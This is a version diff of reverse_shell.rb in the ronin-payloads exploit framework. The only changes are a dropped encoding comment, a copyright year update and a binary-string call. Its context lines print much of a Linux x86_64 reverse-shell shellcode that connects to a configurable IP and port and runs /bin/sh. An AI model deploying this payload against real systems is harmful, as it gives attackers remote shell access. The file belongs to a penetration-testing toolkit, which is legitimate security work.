lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb in ronin-payloads-0.1.6 vs lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb in ronin-payloads-0.2.0.rc1
- old
+ new
@@ -1,12 +1,11 @@
-# encoding: ASCII-8BIT
# frozen_string_literal: true
#
# ronin-payloads - A Ruby micro-framework for writing and running exploit
# payloads.
#
-# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
+# Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# ronin-payloads is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
@@ -57,10 +56,10 @@
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" \
"\x02#{packed_port}\xc7\x44\x24\x04#{packed_ipv4}\x48\x89\xe6\x6a\x10" \
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \
- "\x5f\x6a\x3b\x58\x0f\x05"
+ "\x5f\x6a\x3b\x58\x0f\x05".b
end
end
end
end